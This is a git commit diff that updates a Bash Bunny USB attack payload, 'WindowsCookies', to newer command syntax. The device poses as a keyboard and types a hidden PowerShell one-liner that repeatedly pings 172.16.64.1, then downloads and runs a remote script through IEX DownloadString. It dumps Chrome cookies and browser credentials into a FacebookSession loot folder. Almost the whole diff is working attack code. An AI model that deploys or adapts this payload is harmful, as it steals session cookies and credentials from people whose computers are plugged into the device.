Updated WindowsCookies payload for Bash Bunny v1.1

This commit is contained in:
Darren Kitchen
2017-04-07 16:56:17 +10:00
parent d5ccd9ae4c
commit e0ed65ad9b

View File

@@ -10,33 +10,28 @@
# https://github.com/sekirkity/BrowserGather BrowserGather.ps1 # https://github.com/sekirkity/BrowserGather BrowserGather.ps1
# https://github.com/EmpireProject/Empire Get-FoxDump.ps1 # https://github.com/EmpireProject/Empire Get-FoxDump.ps1
# Also credit to illwill for the BrowerCreds payload # Also credit to illwill for the BrowerCreds payload
#
#script # LED States
# Setup.............Setup
# Blue..............Running Script # Blue..............Running Script
# White.............Setup RNDIS_ETHERNET # White.............Setup RNDIS_ETHERNET
# Green.............Got Browser Creds # Green.............Got Browser Creds
LED B 200
source bunny_helpers.sh
# QUACK SET_LANGUAGE gb
DUCKY_LANG='fr'
LED SETUP
LOOTDIR=/root/udisk/loot/FacebookSession LOOTDIR=/root/udisk/loot/FacebookSession
mkdir -p $LOOTDIR mkdir -p $LOOTDIR
ATTACKMODE HID ATTACKMODE HID
LED STAGE1
GET SWITCH_POSITION
cd /root/udisk/payloads/$SWITCH_POSITION/ cd /root/udisk/payloads/$SWITCH_POSITION/
./server.py & ./server.py &
sleep 1 sleep 1
#Dump Chrome Cookies #Dump Chrome Cookies
Q GUI r RUN WIN "powershell -WindowStyle Hidden \"while(\$true){If(Test-Connection 172.16.64.1 -count 1 -quiet){sleep 2;IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1:8080/p'); Payload; exit}}\""
Q DELAY 100
Q STRING "powershell -WindowStyle Hidden \"while(\$true){If(Test-Connection 172.16.64.1 -count 1 -quiet){sleep 2;IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1:8080/p'); Payload; exit}}\""
Q ENTER
LED R G B 100 LED STAGE2
ATTACKMODE RNDIS_ETHERNET ATTACKMODE RNDIS_ETHERNET
LED G 100 LED FINISH